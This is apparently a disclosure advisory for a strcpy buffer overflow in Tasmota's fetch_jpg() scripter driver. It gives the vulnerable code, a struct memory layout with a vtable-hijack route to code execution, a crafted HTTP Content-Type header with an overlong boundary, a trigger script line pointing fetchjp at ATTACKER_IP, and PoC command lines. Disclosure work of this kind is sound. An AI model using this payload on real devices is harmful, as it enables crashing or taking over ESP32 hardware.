CVE-2026-38426: strcpy() Stack Buffer Overflow in Tasmota fetch_jpg() boundary[40]

CVE: CVE-2026-38426
Severity: Critical (CVSS 9.8)
Product: Arendst Tasmota
Affected Version: <= 15.3.0.3
File: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
Function: fetch_jpg() — case 0 (initial connection)
Author: Saidakbarxon Maxsudxonov
Disclosure: Responsible — reported to Tasmota before publication

---

Summary

A classic strcpy() buffer overflow vulnerability exists in the fetch_jpg() function of Tasmota's scripter driver. The MJPEG boundary string extracted from the HTTP Content-Type response header is copied into a fixed 40-byte buffer (boundary[40]) without any length validation. An attacker controlling the MJPEG HTTP server can supply a boundary string longer than 39 characters to overflow the buffer and corrupt adjacent heap memory — potentially achieving remote code execution on the ESP32.

---

Vulnerable Code

// tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino

struct JPG_TASK {
    char boundary[40];   // ← FIXED SIZE — only 40 bytes!
    bool draw;
    uint8_t scale;
    uint16_t xp;
    uint16_t yp;
    WiFiClient stream;   // contains vtable pointer
    HTTPClient http;     // contains vtable pointer
} jpg_task;

// Case 0: initial connection
String boundary = http.header("Content-Type");
// Server sends: "multipart/x-mixed-replace; boundary=AAAAAA...AAAA" (>39 chars)
char *cp = strchr(boundary.c_str(), '=');
if (cp) {
    strcpy(glob_script_mem.jpg_task.boundary, cp + 1);  // NO LENGTH CHECK — OVERFLOW!
}

---

Heap Memory Layout (ESP32)

struct JPG_TASK layout:
  +0x00  boundary[40]     ← overflow starts here
  +0x28  draw (bool)      ← corrupted
  +0x29  scale (uint8_t)  ← corrupted
  +0x2A  xp (uint16_t)    ← corrupted
  +0x2C  yp (uint16_t)    ← corrupted
  +0x2E  WiFiClient        ← vtable ptr overwritten → RCE
  +0x7E  HTTPClient        ← vtable ptr overwritten → RCE

Overwriting the WiFiClient or HTTPClient vtable pointer with an attacker-controlled value triggers RCE when any virtual method (read(), write(), connect()) is subsequently called.

---

Attack Scenario

The attacker runs an HTTP server that Tasmota connects to via fetchjp(). The server responds with a Content-Type header containing a boundary string longer than 39 characters:

HTTP/1.1 200 OK
Content-Type: multipart/x-mixed-replace; boundary=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Tasmota's strcpy() copies 50+ bytes into the 40-byte boundary buffer, overflowing into adjacent struct fields.

Trigger via Tasmota script:

>D
>B
fetchjp(ATTACKER_IP:PORT/stream,0,0,1)

---

Proof of Concept

python3 CVE-2026-38426_poc.py --port 8888 --mode crash
python3 CVE-2026-38426_poc.py --port 8888 --mode info

See CVE-2026-38426_poc.py for full implementation.

---

Impact

• Confidentiality: High (RCE via vtable hijack on ESP32)
• Integrity: High
• Availability: High (guaranteed crash)
• Attack Vector: Network
• Authentication: None required

---

Timeline

• 2026-03-29: Vulnerability discovered and reported to MITRE
• 2026-03-29: CVE-2026-38426 assigned
• 2026-05-xx: Patch released by Tasmota (v15.3.0.4+)

---

References

• Tasmota GitHub
• xdrv_10_scripter.ino
• CVE-2026-38426